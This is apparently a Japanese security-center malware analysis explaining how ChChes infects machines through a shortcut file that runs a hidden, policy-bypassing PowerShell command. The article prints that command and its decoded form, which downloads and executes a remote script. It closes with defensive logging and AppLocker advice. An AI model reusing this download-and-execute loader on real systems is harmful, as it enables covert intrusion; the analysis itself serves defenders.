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PowerSploitを悪用して感染するマルウエア(2017-02-10)
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PowerSploitを悪用して感染するマルウエア
 今回は、前号の分析センターだより「Cookieヘッダーを用いてC&Cサーバとやりとりする

マルウエアChChes」で紹介したChChesが、PowerSploit[1]というオープンソースのツール
を悪用して感染する事例を確認しましたので、その詳細について解説します。

ChChesが感染するまでの流れ
 今回確認した検体は、ショートカットファイルを悪用してマルウエアの感染を行います。シ

ョートカットファイルが開かれてから、ChChesに感染するまでの流れは、図1のようになり
ます。
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 図 1：ショートカットファイルを開

いてからChChes感染までの流れ
ショートカットファイルが開かれると、PowerShellスクリプトを含むファイルが外部からダ
ウンロードされ、実行されます。次に、PowerShellスクリプト内に含まれるChChesのコー
ド（バージョン1.6.4）が、powershell.exeにインジェクションされ、実行されます。この過
程の各段階における詳細な挙動を次に解説します。

ショートカットファイルが開かれた時の挙動
 ショートカットファイルを開くと内部に含まれている次のPowerShellスクリプトが実行され

ます。

powershell.exe -nop -w hidden -exec bypass -enc JAAyAD0AJwAtAG4Abw~省略~

「-enc」以降のPowerShellスクリプトはエンコードされており、以下がデコードしたもので
す。

$2='-nop -w hidden -exec bypass -c "IEX (New-Object 
System.Net.Webclient).DownloadString(''https://goo.gl/cpT1NW'')"';if([IntPtr]::Size -
eq 8){$3 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";iex "& $3 
$2";}else{iex "& powershell $2";}

上記PowerShellスクリプトによって、指定されているURLからPowerShellスクリプトを含む
ファイルがダウンロードされます。ダウンロードされたスクリプトは32bitのpowershell.exe
（syswow64\WindowsPowerShell\v1.0\powershell）に読み込まれて実行されます。32bitで
実行する理由は、PowerShellスクリプト内に含まれるChChesのコードが64bit環境に対応し
ていないためと考えられます。

ダウンロードされるPowerShellスクリプトの詳細
 ダウンロードされるPowerShellスクリプトはPowerSploitの一部（Invoke-Shellcode.ps1）を

流用して作成されています。PowerSploitは、リモートのコンピュータ上でファイルやコマ
ンドを実行するためのツールで、ペネトレーションテストなどに利用されます。

 ダウンロードされたPowerShellスクリプトは実行されると、内部に含まれるドキュメントフ
ァイルを%TEMP%フォルダに作成し、表示します。表示するドキュメントファイルはExcel
文書やWord文書など複数のパターンが存在することを確認しています。
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さらにPowerShellスクリプトは、内部に含まれるChChesのコードをpowershell.exeにイン
ジェクションします。インジェクションされたChChesは前号の分析センターだよりで紹介
した通り、C2サーバから命令とモジュールを受信します。なお、このPowerShellスクリプ
トやインジェクションされるChChesは、感染端末上でファイルとして保存されないため、
ChChes自身はメモリ上にのみ存在することになります。
図2はPowerShellスクリプトの一部です。

 図 2：ダウンロードされる

PowerShellスクリプト
イベントログで攻撃の痕跡を確認

 Windows 10などPowerShell v5.0がインストールされた環境では、リモートからダウンロー
ドされて実行されたPowerShellスクリプトがデフォルトでイベントログに記録されるように
なっており、図3のように記録されます。調査を行う際は、このようなイベントログがない
かご確認ください。

 図 3：イベントログに記録される内

容
このようなログは、PowerShell v4.0（Windows 8.1のデフォルトバージョン）でも以下のグ
ループポリシーを有効にすることで取得することが可能です。
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コンピュータの構成 -> 管理用テンプレート -> Windows PowerShell -> PowerShellス
クリプト ブロックのログ記録を有効にする (Turn on PowerShell Script Block Logging)

 
おわりに
PowerShellスクリプトが攻撃に利用されることは一般的になってきました。PowerShell実行
時のイベントログを取得する設定になっていない場合は、今後このような攻撃の被害にあう
ことを想定して、設定を見直すことを推奨します。また、PowerShellを使用していない場合
は、AppLockerなどを使用して実行を制限することをご検討下さい。

分析センター 朝長 秀誠
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FIRSTなどで講演。JSACオーガナイザー。

このページは役に立ちましたか？

0人が「このページが役に立った」と言っています。

その他、ご意見・ご感想などございましたら、ご記入ください。

こちらはご意見・ご感想用のフォームです。各社製品については、各社へお問い合わせくだ
さい。

javascriptを有効にすると、ご回答いただけます。 ありがとうございました。

関連記事

HUI Loaderの分析

Anti-UPX Unpackingテクニック

モバイル端末を狙うマルウェアへの対応FAQ
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攻撃グループLuoYuが使用するマルウェアWinDealer

攻撃グループBlackTechが使用するマルウェアGh0stTimes
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